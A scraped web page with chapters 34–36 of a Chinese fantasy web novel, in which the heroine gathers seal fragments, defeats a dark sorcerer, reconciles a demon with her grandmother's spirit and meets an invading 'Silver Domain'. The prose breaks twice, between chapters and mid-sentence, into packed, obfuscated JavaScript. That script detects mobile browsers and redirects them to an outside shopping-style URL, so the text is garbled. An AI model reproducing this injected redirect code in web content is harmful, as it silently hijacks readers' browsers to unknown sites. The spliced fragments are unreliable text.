光幕中的姥姥轻轻摇头:“墨儿,善恶不在于力量,而在于人心。当年我和面具人之所以选择平衡,就是因为我们明白,彻底消灭魔影,只会让三界陷入更大的危机。现在,溪月已经掌握了平衡之力,她会找到真正的和平之道。” 宋墨的身体开始剧烈颤抖,黑色的藤蔓渐渐枯萎。他看着我,眼中的痛苦更浓:“难道我这么多年的努力,都是错的?” 就在这时,密室的入口突然传来一阵脚步声,银色面具人缓缓走了进来。他摘下自己的面具,露出一张与宋墨有七分相似的脸,只是他的眼睛是淡紫色的,与红枫魔使的眼睛一模一样。 “因为你一直被仇恨蒙蔽了双眼。” 银色面具人的声音温和而熟悉,正是手机语音里的神秘人,“宋墨,我是你的双胞胎哥哥,宋砚。当年你离家出走后,我被魔影本体俘虏,为了活下去,我只能伪装成魔影的下属,暗中寻找平衡之道。” 宋墨和我都惊呆了。银色面具人竟然是宋墨的双胞胎哥哥,姥姥的另一个外甥? 宋砚看着宋墨,眼中满是痛心:“当年姥姥没有告诉你真相,是怕你被仇恨吞噬。我和她一直在暗中努力,想要找到平衡巫祝和魔影之力的方法。现在,溪月已经做到了,你为什么还要执迷不悟?” 宋墨看着宋砚,又看着光幕中的姥姥,突然跪倒在地,放声大哭:“我错了…… 我真的错了……” 就在这时,密室的地面突然剧烈震动,潭水开始浑浊发黑,一股比宋墨更强大的魔影之气,从紫渊裂隙的方向传来。宋砚的脸色骤变:“不好!魔影本体感应到了巫祝残印的气息,提前苏醒了!” 34. 第 34 章 水下密室的震动愈发剧烈,石壁上的裂缝不断蔓延,浑浊的潭水冲破防护屏障涌入密室,带着浓郁的魔影之气,让空气都变得粘稠。宋墨跪在地上,泪水混合着潭水滑落,手中的黑石洞巫祝残印散发出微弱的金光,与我手中的两块残印产生强烈共鸣。 “我…… 我这就把残印交给你。” 宋墨颤抖着将残印递过来,指尖刚触碰到我的掌心,魔影本体的气息突然暴涨,一道黑色光柱从密室顶部的裂缝中射下,击中宋墨的后背。他闷哼一声,身体剧烈抽搐,眼中再次泛起红光,刚刚清醒的意识又被魔影之气侵蚀。 “墨儿!” 宋砚纵身扑到宋墨身边,掌心的紫色晶石爆发出淡紫色光芒,护住他的心神,“别被魔影之气控制!你已经醒悟,不能再重蹈覆辙!” 红枫魔使也立刻催动本命晶石,淡紫色光芒与宋砚的晶石交织,形成一道防护盾,将魔影之气隔绝在外。“宋溪月,快拿到碧水潭的残印!魔影本体的力量越来越强,我们撑不了多久了!” 我点点头,转身冲向石台。三道淡蓝色光幕依旧矗立,散发着古老的巫祝之力。根据江磊查阅的秘录,这三道关卡分别是 “水遁之迷”“净化之试”“平衡之悟”,只有依次通过,才能拿到残印。 “第一道关,水遁之迷!” 我抬手催动三色炙痕,金、黑、紫三色光芒融入第一道光幕。光幕瞬间化作流动的潭水,水中浮现出无数条交错的路径,每条路径都通往不同的方向,其中只有一条是正确的,其余路径都布满了致命的水毒。 “林溪月,能感知到正确的路径吗?” 我大喊道。双生之力对能量流动的感知最为敏锐,此刻正是需要她的时候。 林溪月挣脱苏怀薇的手,与柳念水的残魂融合,淡粉色光带飞入水中,如同探针般游走在各条路径上。“溪月姐姐,左边第三条路径!那里的水气息最纯净,没有毒!” 我立刻顺着光带指引的方向,催动问阴三玉的力量,在水中开辟出一条通道。水毒遇到三色光芒纷纷退散,我顺利穿过第一道光幕,来到第二关 “净化之试” 前。 光幕中漂浮着无数黑色的毒囊,里面装满了魔影之气污染的毒液,一旦触碰就会被侵蚀心智。苏怀薇的银锁突然飞出,白光化作无数光丝,将毒囊一一缠住:“溪月,我来净化毒囊,你趁机通过!” 银锁的净化之力顺着光丝渗入毒囊,黑色毒液渐渐变得清澈,毒囊干瘪破裂,化作无害的水汽。我趁机冲入光幕,却被一道无形的屏障挡住 —— 第三关 “平衡之悟”,需要同时运用巫祝之力、魔影之力、问阴之力,三者缺一不可,且必须完美平衡,才能打开屏障。 “楚遥,江磊,帮我牵制周围的魔影之气!” 我深吸一口气,将三块残印悬浮在身前,掌心的三色炙痕光芒暴涨。问阴血脉的净化之力、怨煞之力、魔影之力在体内飞速流转,按照 “平衡咒” 的韵律交织融合,形成一道三色光柱,狠狠撞向屏障。 “轰 ——” 光柱与屏障碰撞,淡蓝色光幕剧烈震动,却没有破裂。我心中一急,突然想起宋砚说的 “同源共生”,于是放下刻意的控制,让三种力量自然流淌。奇迹发生了,三色光柱变得柔和起来,如同流水般融入屏障,屏障缓缓消散,露出了石台上的第三块巫祝残印。 就在我伸手去拿残印的瞬间,密室大门突然被撞开,一头巨大的水魔从潭水中冲出。它通体由黑色潭水凝聚而成,身高三丈,手中握着一柄水刃,眼中闪烁着猩红的光芒,正是魔影本体派出的先锋 —— 碧水魔使。 “谁也别想拿走残印!” 碧水魔使怒吼一声,水刃劈出一道巨大的水浪,朝着石台冲来。楚遥和江磊立刻联手反击,楚遥的特制子弹嵌入水魔体内,炸开金色光雾,江磊的铜戒碎片化作金色利刃,斩断水魔的一条手臂。 可水魔的身体由潭水构成,受伤的部位很快又重新凝聚。红枫魔使催动本命晶石,淡紫色光刃劈向水魔的头颅:“你的对手是我!” 两道身影在密室中激战起来,水浪与紫光交织,碰撞出无数水花。宋砚扶着逐渐清醒的宋墨,掌心的紫色晶石与我手中的三块残印共鸣:“溪月,快激活残印的力量!四块残印同时发力,能暂时压制魔影本体的气息!” 我将四块残印按在石台的凹槽中,三色炙痕的光芒注入残印。四块残印同时爆发出金、黑、紫、蓝四色光芒,顺着密室的纹路蔓延,形成一道巨大的共鸣阵。魔影本体的气息被共鸣阵压制,宋墨眼中的红光彻底消散,恢复了清明。 “对不起……” 宋墨看着被水魔攻击的伙伴们,眼中满是愧疚,“都是我的执念,才让大家陷入险境。现在,让我来赎罪!” 他纵身跃起,掌心凝聚起巫祝净化之力,与宋砚的魔影之力交织,形成一道紫金光柱,击中碧水魔使的胸口。 碧水魔使发出一声凄厉的惨叫,身体开始瓦解,化作一滩浑浊的潭水。危机暂时解除,密室的震动渐渐平息,涌入的潭水也开始退去。 宋砚走到我身边,看着四块共鸣的残印,轻声道:“溪月,现在我可以告诉你所有真相了。当年姥姥不仅是巫祝和问阴婆,还是魔影本体的孪生妹妹。” “什么?” 所有人都惊呆了,这个真相太过震撼,超出了我们的想象。 “上古时期,混沌之力分化为巫与魔两极,姥姥是巫之极,魔影本体是魔之极,两人本是同源共生,共同维系三界平衡。” 宋砚缓缓说道,“可后来,三界出现了一群想要掌控混沌之力的野心家,他们挑拨离间,让姥姥和魔影本体反目成仇,魔影本体被野心家利用,力量失控,才导致三界陷入危机。” 他抬手一挥,紫色晶石投射出一段尘封的记忆:姥姥和魔影本体并肩站在紫渊裂隙前,共同对抗一群穿着黑色长袍的野心家;野心家被消灭后,魔影本体的力量无法平复,姥姥为了不让他伤害三界,只能与宋砚联手,将他封印在紫渊裂隙中,约定千年后由问阴后人找到平衡之道,让他重获自由。 “所以,三界镇魂印的真正作用,不是镇压或消灭魔影本体,而是将他失控的力量与姥姥的巫祝之力融合,彻底恢复三界平衡。” 宋砚的眼中满是期盼,“而要激活完整的镇魂印,我们还需要第六块残印。” “第六块?” 我疑惑道,“之前不是说只有五块吗?红枫魔使提到的是红枫谷、黑石洞、碧水潭、紫霞山,加上雾隐镇,正好五块,哪里来的第六块?” 宋砚指向四块共鸣的残印,残印的纹路正在缓缓融合,形成一道完整的符文,符文中央有一个细小的缺口:“这五块残印,其实是‘五行残印’,分别对应金、木、水、火、土五行之力。而第六块残印,是‘混沌残印’,藏在紫渊裂隙的最深处,是激活镇魂印的核心。当年姥姥将魔影本体封印后,就把混沌残印藏在了那里,防止被野心家夺走。” 他顿了顿,继续说道:“当年巫祝内部的分歧,其实是野心家的阴谋。他们伪装成巫祝,散布‘魔影必灭’的言论,挑起内讧,目的就是为了夺取六块残印,掌控混沌之力,统治三界。宋墨就是被他们欺骗,才执着于消灭魔影本体。” 宋墨低着头,满脸悔恨:“原来…… 原来我一直被人利用。那些所谓的‘魔影作恶’的消息,都是野心家伪造的。我竟然因为这些虚假的消息,差点毁掉三界……” “现在醒悟还不晚。” 宋砚拍了拍他的肩膀,“我们现在的目标,是尽快找到紫霞山的第五块残印,然后前往紫渊裂隙,拿到混沌残印,激活完整的三界镇魂印,帮助魔影本体平复力量,彻底粉碎野心家的阴谋。” 就在这时,四块残印的共鸣突然变得剧烈,符文中央的缺口发出强烈的金光,投射出紫霞山的具体位置 —— 一座位于华夏西南的雪山,山顶常年被积雪覆盖,藏着最后的五行残印 “火之残印”。 同时,紫色晶石也传来紧急预警:“野心家的势力已经抵达紫霞山,他们的首领‘暗巫尊’正在夺取火之残印!暗巫尊拥有部分混沌之力,实力极强,你们必须尽快赶去,否则火之残印一旦被夺走,后果不堪设想!” 预警结束后,密室的石壁突然崩塌,一道黑色的身影从裂缝中钻了出来,正是暗巫尊的手下。他穿着黑色长袍,脸上戴着骷髅面具,手中握着一柄黑色法杖,周身缠绕着与魔影之气截然不同的邪恶气息。 “宋溪月,暗巫尊大人有令,让我来取你们的性命,还有这四块巫祝残印!” 骷髅面具人冷笑一声,法杖一挥,无数黑色骷髅头从法杖中飞出,朝着我们扑来。 “不好,是暗巫的‘噬魂术’!” 宋砚脸色骤变,“这些骷髅头能吞噬人的灵魂,一旦被缠住,就会沦为暗巫的傀儡!” 苏怀薇立刻催动银锁,白光形成一道巨大的光盾,挡住骷髅头的攻击。红枫魔使和宋墨、宋砚联手,三色光芒交织,朝着骷髅面具人攻去。楚遥和江磊则护着我和林溪月,朝着密室的出口撤退。 “我们必须立刻前往紫霞山!” 我一边撤退,一边大喊,“火之残印绝不能落入暗巫尊手中!” 骷髅面具人的实力远超之前的魔使,宋砚三人联手也只能勉强牵制。他的噬魂术越来越强,黑色骷髅头突破光盾,朝着林溪月扑来 —— 孩子的灵魂纯净,是噬魂术最喜欢的目标。 “不许碰她!” 我转身催动三色炙痕,三色光柱击中骷髅头,将其炸成飞灰。可就在这时,暗巫尊的声音突然在密室中回荡,带着冰冷的嘲讽:“宋溪月,你的平衡之力确实不错,可惜,你还是太弱了。紫霞山的火之残印,已经是我的囊中之物。接下来,我会在紫渊裂隙等你,等你带着剩下的残印,来送死!” 声音消失后,骷髅面具人突然自爆,巨大的冲击力将我们掀飞出去。等我们爬起来时,密室已经彻底崩塌,宋砚三人都受了不同程度的伤,而暗巫尊的气息,已经消失在紫霞山的方向。 “我们…… 我们必须尽快出发。” 宋墨擦掉嘴角的血迹,眼中满是坚定,“这一次,我一定要弥补我的过错,阻止暗巫尊的阴谋!” 我看着手中的四块巫祝残印,它们依旧在散发着共鸣的光芒,仿佛在催促我们尽快行动。掌心的三色炙痕微微发烫,与紫色晶石、绿色晶石形成呼应,一股强大的使命感在心中燃烧。 暗巫尊已经拿到火之残印,下一步就是前往紫渊裂隙寻找混沌残印。我们必须赶在他之前,拿到混沌残印,激活完整的三界镇魂印。否则,一旦暗巫尊掌控六块残印,掌控混沌之力,整个三界都将陷入万劫不复的境地。 我们一行人从碧水潭撤离,驱车前往紫霞山。路上,宋砚为我们详细讲解了暗巫尊的来历:“暗巫尊是上古野心家的后代,继承了他们的邪恶力量,一直潜伏在三界之中,等待机会夺取混沌之力。他当年伪装成巫祝长老,欺骗了我和宋墨,挑起了巫祝与魔影的矛盾。” 江磊也补充道:“秘录中记载,暗巫尊擅长‘暗巫之术’,能操控人的心智,吞噬人的灵魂,实力深不可测。他手下有四大暗巫使,分别掌控不同的邪恶力量,之前的骷髅面具人,就是其中之一。” 车子驶离深山,朝着西南方向疾驰。窗外的风景不断变化,从郁郁葱葱的森林变成连绵起伏的山脉,空气中的魔影之气渐渐被寒冷的雪山气息取代。紫色晶石的光芒越来越亮,指示着我们离紫霞山越来越近。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182855|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“前面就是紫霞山了。” 楚遥指着前方的雪山,山顶被一层淡淡的紫色雾气笼罩,与紫渊裂隙的气息同源,“根据紫色晶石的感应,火之残印就在山顶的紫霞神庙中。” 我们下车后,踏着积雪朝着山顶攀登。雪山的温度极低,寒风刺骨,可我们每个人的心中都燃烧着火焰,充满了斗志。林溪月的额头红印亮着,双生之力为我们抵御着寒冷,红枫魔使的本命晶石散发着淡紫色光芒,照亮了前行的路。 即将抵达山顶时,紫色晶石突然发出强烈的预警,一道黑色的光幕出现在紫霞神庙前,挡住了我们的去路。光幕中,隐约能看到暗巫尊的身影,他正站在神庙的祭坛上,手中握着火之残印,嘴角带着邪恶的笑容。 “宋溪月,你们终于来了。” 暗巫尊的声音从光幕中传来,“我已经等你们很久了。现在,把你们手中的四块残印交出来,我可以让你们死得痛快一点。” 暗巫尊抬手一挥,黑色光幕突然暴涨,无数黑色藤蔓从光幕中涌出,朝着我们扑来。这些藤蔓比之前见过的更加粗壮,上面布满了倒刺,散发着剧毒的气息。 宋砚、宋墨、红枫魔使立刻上前,三色光芒交织,与藤蔓展开激战。苏怀薇护住我和林溪月,银锁化作光刃,斩断靠近的藤蔓。楚遥和江磊则绕到光幕侧面,试图寻找光幕的弱点。 我握紧手中的四块残印,掌心的三色炙痕爆发出前所未有的光芒。根据宋砚的说法,只有用平衡之力才能打破暗巫尊的暗巫光幕。我深吸一口气,将四块残印的力量融入炙痕,三色光柱凝聚成一柄巨大的光剑,朝着光幕劈去。 “铛 ——” 光剑劈在光幕上,发出刺耳的金属碰撞声,光幕剧烈震动,却没有破裂。暗巫尊冷笑一声,手中的火之残印爆发出黑色的火焰,融入光幕中:“你的平衡之力还不够完善,想要打破我的光幕,简直是痴心妄想!” 黑色火焰顺着光幕蔓延,将三色光剑包裹,光剑渐渐被侵蚀,光芒越来越暗淡。我体内的三种力量开始紊乱,气血翻涌,口中喷出一口鲜血。 “溪月!” 苏怀薇大喊着想要过来帮我,却被藤蔓缠住,无法脱身。 就在这时,林溪月突然挣脱苏怀薇的手,跑到我身边,与柳念水的残魂完全融合。一道巨大的淡粉色光带从她身上冲天而起,与我的三色光剑交织在一起。“溪月姐姐,我来帮你!” 双生之力的加入,让三色光剑重新焕发生机,黑色火焰被渐渐驱散。宋砚三人也趁机发力,三色光芒击中光幕的薄弱处,光幕出现了一道裂痕。 “不!” 暗巫尊怒吼一声,想要修复光幕,可就在这时,紫霞神庙的祭坛突然剧烈震动,一道金色的光芒从祭坛下方涌出,与我们手中的五块残印(包括暗巫尊手中的火之残印)产生强烈共鸣。 “这是…… 混沌残印的气息?” 宋砚震惊地说道,“混沌残印不在紫渊裂隙,竟然藏在紫霞神庙的祭坛下方!” 暗巫尊也愣住了,显然他也不知道这个秘密。他看着祭坛下方的金色光芒,眼中闪过贪婪:“原来混沌残印在这里!天助我也!只要拿到混沌残印,我就能掌控完整的混沌之力,统治三界!” 他不顾光幕的破裂,转身朝着祭坛下方冲去。我心中一急,立刻催动光剑,彻底劈碎黑色光幕,朝着暗巫尊追去。 祭坛下方,是一座巨大的地下宫殿,宫殿中央的石台上,悬浮着第六块巫祝残印 —— 混沌残印。它通体呈金色,散发着古老而强大的混沌之力,与我掌心的三色炙痕完美契合。 暗巫尊已经冲到石台前,伸手想要去拿混沌残印。就在他的指尖即将触碰到残印的瞬间,宫殿的墙壁突然亮起无数符文,一道金色的身影从符文阵中走出,正是姥姥的魂灵。 “暗巫尊,你以为你能得逞吗?” 姥姥的魂灵声音威严,“混沌残印,只有真正的平衡之力继承者才能触碰。你这种被野心吞噬的人,根本没有资格!” 暗巫尊脸色骤变:“你…… 你竟然还没死?” “我的魂灵与混沌残印绑定,守护它千年,就是为了等待真正的继承者出现。” 姥姥的魂灵看向我,眼中满是欣慰,“溪月,你已经掌握了平衡之力,现在,拿起混沌残印,激活三界镇魂印,粉碎暗巫尊的阴谋!” 我朝着石台走去,暗巫尊却突然回过神,眼中闪过疯狂:“就算我拿不到,你也别想拿到!” 他抬手催动暗巫之力,一道黑色光柱朝着混沌残印射去,想要将其毁掉。 “不要!” 我大喊着冲向石台,可已经来不及了。黑色光柱即将击中混沌残印的瞬间,混沌残印突然爆发出强烈的金色光芒,将黑色光柱反弹回去,击中暗巫尊的胸口。 暗巫尊惨叫一声,身体倒飞出去,重重撞在墙壁上,口中喷出黑色的血液。他看着我,眼中满是不甘和怨毒:“宋溪月,我不会就这么算了的!魔影本体已经彻底苏醒,他的力量很快就会失控,三界终将毁灭!你们所有人,都将为我陪葬!” 他的身体渐渐化作黑色雾气,消散在宫殿中。可他的话,却让我们每个人都心头一紧。 姥姥的魂灵叹了口气:“暗巫尊说的是真的。魔影本体因为暗巫尊的干扰,力量已经彻底失控,紫渊裂隙即将崩塌,三界平衡即将被打破。现在,只有激活三界镇魂印,才能拯救三界。” 我走到石台前,伸手握住混沌残印。残印入手温润,与我掌心的炙痕完美融合,五块五行残印自动飞出,围绕着混沌残印旋转,形成一道完整的六芒星阵。 就在这时,宫殿突然剧烈震动,紫渊裂隙的方向传来一阵惊天动地的嘶吼声,魔影本体的气息,如同海啸般席卷而来。 35. 第 35 章 地下宫殿的震动已近癫狂,石壁大块脱落,金色符文在摇晃中忽明忽暗。魔影本体的嘶吼声穿透岩层,带着毁天灭地的狂躁,黑色的魔影之气如同潮水般从紫渊裂隙方向涌来,将宫殿笼罩在一片暗沉之中。 “溪月,快催动平衡之力,引导六块残印融合!” 姥姥的魂灵周身金光暴涨,形成一道防护盾,挡住涌来的魔影之气,“我能暂时压制魔影本体的冲击,但时间不多了!” 我握紧混沌残印,掌心的三色炙痕与六块残印同时共鸣。五行残印围绕混沌残印飞速旋转,金、木、水、火、土五色光芒与混沌金芒交织,形成一道六芒星镇魂阵。我口中默念姥姥手札中的 “三界镇魂咒”,体内的问阴净化之力、怨煞之力、魔影之力顺着炙痕注入阵中,镇魂阵的光芒愈发炽盛。 “休想激活镇魂印!” 暗巫尊的残魂突然从黑色雾气中凝聚,化作一道黑影扑向六芒星阵,“我得不到的混沌之力,谁也别想得到!” “拦住他!” 宋砚纵身跃起,紫色晶石爆发出淡紫色光刃,与暗巫残魂碰撞在一起。宋墨紧随其后,巫祝净化之力化作金色锁链,缠住暗巫残魂的四肢。红枫魔使的本命晶石射出无数光丝,将暗巫残魂牢牢束缚:“你的阴谋已经破产,别再做无谓的挣扎!” 暗巫残魂疯狂挣扎,黑色雾气不断侵蚀着束缚他的光芒:“魔影本体已经失控,就算你们激活镇魂印,也只能暂时压制他!不出百年,他依旧会冲破封印,到时候三界还是会毁灭!” “你错了!” 姥姥的魂灵声音威严,“我与魔影本体本是孪生兄妹,同源共生。镇魂印的真正力量,不是压制,而是唤醒他迷失的意识,让我们的力量重新融合,彻底稳固三界平衡!” 她抬手一挥,一道金色光束从眉心射出,融入六芒星阵。镇魂阵的光芒瞬间暴涨,暗巫残魂发出凄厉的惨叫,黑色雾气在金光中渐渐消散,彻底湮灭。 就在这时,宫殿顶部轰然破开一个大洞,魔影本体的巨大身影出现在洞口。他通体覆盖着黑色鳞片,背后的蝙蝠翅膀展开,遮天蔽日,红色独眼散发着狂躁的光芒,周身的魔影之气几乎凝为实质:“妹妹,我好痛苦…… 快让我解脱!” “哥哥,醒醒!” 姥姥的魂灵朝着魔影本体飞去,金色光芒包裹住他的身体,“我知道你被野心家操控,意识迷失。现在,我要唤醒你,我们一起守护三界!” 魔影本体的身体剧烈抽搐,红色独眼闪过一丝清明,却又被狂躁的气息覆盖:“不…… 我控制不住自己的力量…… 它要毁灭一切!” 他抬手一挥,一道巨大的黑色光柱朝着六芒星阵射来。姥姥的魂灵毫不犹豫地挡在阵前,金色光芒化作护盾,挡住了黑色光柱。她闷哼一声,魂灵变得透明了几分:“溪月,快!趁他意识尚存,完成镇魂融合!” 我咬紧牙关,将体内所有力量毫无保留地注入镇魂阵。六芒星阵化作一道巨大的金色光柱,冲天而起,击中魔影本体的眉心。魔影本体发出一声震耳欲聋的嘶吼,身体在光柱中不断挣扎,黑色鳞片渐渐褪去,露出里面淡金色的本源形态。 他的红色独眼恢复清明,看着姥姥的魂灵,眼中满是愧疚:“妹妹,对不起…… 当年我不该被野心家蛊惑,差点毁掉我们共同守护的三界。” “哥哥,知错能改,善莫大焉。” 姥姥的魂灵露出欣慰的笑容,“现在,让我们的力量重新融合,激活完整的三界镇魂印,稳固三界平衡。” 魔影本体点点头,淡金色的本源之力顺着金色光柱流入六芒星阵。姥姥的魂灵也化作一道金光,融入阵中。两道同源之力与六块残印的力量交织,镇魂阵的光芒达到极致,化作一枚巨大的金色印章,缓缓飞向紫渊裂隙。 “三界镇魂印,起!” 我大喊一声,金色印章精准地嵌入紫渊裂隙中央。裂隙的扩张瞬间停止,黑色的魔影之气渐渐消散,取而代之的是淡金色的平衡之力,顺着裂隙蔓延,滋养着三界的每一个角落。 地下宫殿的震动彻底平息,紫渊裂隙被镇魂印牢牢封印,魔影本体与姥姥的力量融为一体,化作镇魂印的核心,永远守护着三界平衡。六块巫祝残印自动飞回我的掌心,化作六道光芒,融入炙痕之中,炙痕最终变成淡金色,与镇魂印的颜色一模一样。 我们一行人走出地下宫殿,来到紫霞山山顶。阳光穿透云层,洒在雪山上,温暖而明媚。空气中的魔影之气彻底消散,取而代之的是纯净的天地灵气,漫山的积雪开始融化,露出下面嫩绿的草芽,充满了生机。 “终于…… 结束了。” 苏怀薇松了口气,银锁的白光渐渐暗淡,显然消耗巨大。林溪月靠在她怀里,已经沉沉睡去,双生之力的过度消耗让她疲惫不堪。 宋墨看着远处的天空,眼中满是释然:“这么多年的执念,终于放下了。以后,我会和哥哥一起,守护三界平衡。” 宋砚拍了拍他的肩膀,脸上露出久违的笑容:“我们一家人,终于团聚了。” 我握紧掌心的淡金色炙痕,心中百感交集。这场跨越千年的博弈,终于落下了帷幕。水神巫的悔恨、影主的执念、姥姥的牺牲、宋墨的迷途知返,所有的一切,都在这一刻得到了圆满的结局。 就在我们准备下山时,我的掌心突然发烫,淡金色的炙痕爆发出一道微弱的紫光。紫色晶石自动飞出,投射出一道紧急预警:“检测到新的能量波动,位于三界边界,疑似新的裂隙正在形成!能量属性未知,与巫、魔之力均不同源!” 预警结束后,紫色晶石的光芒渐渐暗淡。我们所有人都脸色凝重,刚刚稳固的三界平衡,难道又要面临新的威胁? “新的裂隙?” 宋砚皱紧眉头,“三界边界已经平静了千年,怎么会突然出现新的裂隙?而且能量属性未知,这太奇怪了。” 宋墨也陷入了沉思:“难道是暗巫尊的余党?或者是其他界域的势力?” 我抬头看向天空,远处的天际线尽头,隐约出现了一道细微的银色裂隙,与紫渊裂隙的紫色截然不同,散发着陌生而神秘的气息。掌心的炙痕再次发烫,传递出一种强烈的警示,仿佛有某种未知的危险,正在从银色裂隙中苏醒。 姥姥的声音突然在我脑海中响起,带着一丝凝重:“溪月,三界之外,还有其他界域。当年我们封印魔影本体时,就察觉到了界域边界的不稳定。这道银色裂隙,可能是其他界域的通道。新的威胁已经出现,问阴传承的使命,还未结束。” 我握紧掌心的炙痕,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182856|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的使命感再次燃起。虽然巫与魔的平衡已经稳固,但新的界域威胁正在逼近。这场守护三界的战争,并没有真正结束,而是进入了新的阶段。 宋砚看着我,眼中满是坚定:“溪月,不管新的威胁是什么,我们都会和你一起面对。守护三界,是我们所有人的责任。” 宋墨、苏怀薇、楚遥、江磊也纷纷点头,眼中充满了斗志。林溪月似乎感受到了我们的决心,缓缓睁开眼睛,露出一个勇敢的笑容:“溪月姐姐,我也会和你一起,守护我们的家园。” 我们一行人站在紫霞山山顶,望着远处天际线的银色裂隙,心中充满了坚定。虽然未来的道路充满了未知和挑战,但我们知道,只要我们团结一心,运用平衡之力,就一定能应对任何威胁,守护好三界的和平与安宁。 就在我们准备下山,前往三界边界探查银色裂隙时,我的手机突然再次自动开机,屏幕上没有乱码,也没有短信,只有一段模糊的视频。 视频中,一个穿着银色战甲的神秘人站在银色裂隙前,背后是无数穿着相同战甲的士兵。神秘人戴着银色面具,与宋砚的面具相似,却更加冰冷。他的声音通过视频传来,带着机械般的冷漠:“巫魔平衡已破,界域通道开启。吾乃银域执法者,奉命前来接管三界。宋溪月,三日之后,三界边界,一战定输赢。若你能胜,三界可保;若你败,三界将成为银域的殖民地。” 视频结束后,手机再次黑屏。我们所有人都惊呆了,银色裂隙竟然是其他界域的通道,而这个所谓的 “银域执法者”,想要接管三界! 更让我们震惊的是,视频中的银色战甲,与上古巫祝秘录中记载的 “域外战甲” 一模一样。难道在上古时期,三界就曾遭受过银域的入侵?姥姥和魔影本体当年封印的,不仅是暗巫尊的野心,还有银域的威胁? 掌心的淡金色炙痕突然爆发出强烈的光芒,与紫色晶石、绿色晶石产生共鸣,投射出一段上古时期的模糊记忆:姥姥和魔影本体并肩站在三界边界,与无数银色战甲的士兵激战;银域执法者手持银色长枪,与姥姥、魔影本体打成平手;最终,三人达成协议,银域暂时退回自己的界域,约定千年后再决高下。 “原来…… 当年的真相是这样。” 宋砚震惊地说道,“姥姥和魔影本体当年封印的,不仅是暗巫尊的野心,还有银域的入侵。千年之约,就是现在!” 我们看着远处的银色裂隙,心中充满了紧迫感。三日之后,三界边界,一战定输赢。银域执法者的实力深不可测,还有无数银色战甲的士兵,我们仅凭现有之力,根本不是对手。 就在这时,我的掌心突然出现一道淡金色的符文,与镇魂印的符文相同。姥姥的声音再次在我脑海中响起:“溪月,想要战胜银域执法者,必须激活镇魂印的终极力量 —— 界域平衡之力。这需要集齐三界所有种族的本源之力,包括影族、巫祝、人类,甚至是被我们遗忘的其他上古种族。” 集齐三界所有种族的本源之力?这简直是不可能完成的任务!三日时间,我们根本无法找到所有上古种族,更别说集齐他们的本源之力。 银色裂隙的光芒越来越亮,银域执法者的气息也越来越强。我们的时间,只剩下三天。 36. 第 36 章 三日倒计时的沙漏已悄然流逝四分之一,银色裂隙在天际线蔓延的速度愈发迅猛,空气中弥漫的陌生银域能量让草木都泛起淡淡的灰白。“优先前往影族!” 我握紧掌心的淡金色炙痕,绿色晶石投射出影族秘境的实时影像 —— 原本生机盎然的地下山谷被一层银灰色光幕笼罩,影族之源的古树叶片大量枯萎,金色锁链上缠绕着细密的银域能量丝。 “银域执法者已经提前动手了!” 宋砚的紫色晶石剧烈震颤,“他们在侵蚀影族本源,想要切断我们获取第一份力量的可能!” 楚遥立刻启动越野车的极限模式,引擎轰鸣着朝着无间渊的方向疾驰,“根据卫星监测,影族秘境的能量波动正在减弱,我们必须在两小时内抵达,否则影族本源可能彻底被银域同化!” 车内气氛凝重,林溪月靠在苏怀薇肩头,额头红印微弱闪烁:“溪月姐姐,我能感觉到影族之源在‘哭泣’,那些银色的丝线好冰冷,在吸它的力量。” 双生之力对本源能量的感知最为敏锐,她话音刚落,我的炙痕突然爆发出一道金光,与影族骨牌产生强烈共鸣,骨牌上的纹路浮现出影族大长老的紧急讯息:“银域暗哨突袭,影族战士半数被银域能量控制,本源之核即将失守,速来支援!” 越野车冲破无间渊的入口屏障,驶入熟悉的地下通道。与上次不同,通道岩壁上布满了银灰色的结晶,散发着刺骨的寒意,触碰之下,皮肤会瞬间泛起麻痹感。“这是银域的‘蚀能晶’,能吸收周围的能量并转化为银域之力。” 宋墨用巫祝净化之力击碎一块结晶,结晶破碎时释放出的银域能量让他忍不住皱眉,“这种能量霸道且具有传染性,被侵蚀的生灵会失去自主意识,沦为银域的傀儡。” 抵达影族秘境入口时,银灰色光幕已扩张到山谷外围,数十名被银域同化的影族战士正疯狂撞击影族之源的防护阵。他们的眼睛变成纯银色,动作僵硬却充满破坏力,手中骨刃被银域能量包裹,劈砍在光幕上留下一道道细碎的裂痕。影族大长老带领剩余战士退守古树之下,本命骨牌的黑光摇摇欲坠,显然已支撑不了多久。 “是银域的‘同化咒’!” 红枫魔使的本命晶石发出警示,“这些战士的灵魂被银域能量禁锢,强行净化会伤及本源,甚至导致他们魂飞魄散!” 我抬手催动淡金色炙痕,镇魂印的微光顺着炙痕流淌,与影族骨牌共鸣:“大长老,打开防护阵缺口,我用平衡之力剥离银域能量!” 大长老立刻会意,挥手撤去一小块光幕。我纵身跃入阵中,问阴三玉自动悬浮,金、黑、紫三色光芒与淡金色镇魂之力交织,形成一道柔和的光网,笼罩住最前排的几名被同化战士。光网触碰到银域能量丝的瞬间,发出 “滋滋” 的消融声,银色丝线如同遇火的冰雪般退散,战士们眼中的银光渐渐褪去,恢复了清明。 “快!按这个方法剥离,别让银域能量扩散!” 苏怀薇催动银锁,白光化作无数光丝,配合我的光网扩大净化范围。宋砚、宋墨分别守住两侧,紫色晶石与巫祝之力形成屏障,阻止外围未被净化的战士靠近。林溪月的双生之力化作淡粉色光带,缠绕在影族之源的古树上,为枯萎的枝叶注入生机。 